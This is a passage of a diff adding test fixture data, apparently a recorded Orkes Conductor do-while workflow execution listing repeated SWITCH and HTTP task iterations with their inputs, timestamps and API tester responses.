+ inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__8", + retryCount: 0, + seq: 76, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861183, + startTime: 1713413861183, + endTime: 1713413861183, + updateTime: 1713413861183, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fe0ab4-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__9", + retryCount: 0, + seq: 81, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861520, + startTime: 1713413861520, + endTime: 1713413861520, + updateTime: 1713413861520, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "993128a9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__10", + retryCount: 0, + seq: 86, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861851, + startTime: 1713413861851, + endTime: 1713413861851, + updateTime: 1713413861851, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_8: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__6", + retryCount: 0, + seq: 71, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860970, + startTime: 1713413861025, + endTime: 1713413861036, + updateTime: 1713413861025, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98de269f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 55, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__1", + retryCount: 0, + seq: 48, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413859490, + startTime: 1713413859583, + endTime: 1713413859594, + updateTime: 1713413859583, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97fc7918-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__2", + retryCount: 0, + seq: 53, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413859823, + startTime: 1713413859916, + endTime: 1713413859927, + updateTime: 1713413859916, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "982f48ed-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__3", + retryCount: 0, + seq: 58, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860156, + startTime: 1713413860248, + endTime: 1713413860259, + updateTime: 1713413860248, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "986218c2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__4", + retryCount: 0, + seq: 63, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860487, + startTime: 1713413860580, + endTime: 1713413860592, + updateTime: 1713413860580, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98949a77-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8155, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "tniyursobyqwmcgnfxcj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__5", + retryCount: 0, + seq: 68, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860819, + startTime: 1713413860914, + endTime: 1713413860925, + updateTime: 1713413860914, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98c7433c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5878, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "bksldazxfxhyoyefvrxf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__6", + retryCount: 0, + seq: 71, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860970, + startTime: 1713413861025, + endTime: 1713413861036, + updateTime: 1713413861025, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98de269f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 55, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__7", + retryCount: 0, + seq: 74, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861082, + startTime: 1713413861136, + endTime: 1713413861147, + updateTime: 1713413861136, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ef64b2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8433, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "nwltborbttslioxepwhe", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 54, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__8", + retryCount: 0, + seq: 79, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861375, + startTime: 1713413861467, + endTime: 1713413861478, + updateTime: 1713413861467, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "991c1a07-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 242, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "idkvujpflbawjvbtcqol", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__9", + retryCount: 0, + seq: 84, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861704, + startTime: 1713413861798, + endTime: 1713413861810, + updateTime: 1713413861798, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "994e4d9c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4359, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "lmbrmrnefvkwwwbmvolm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, 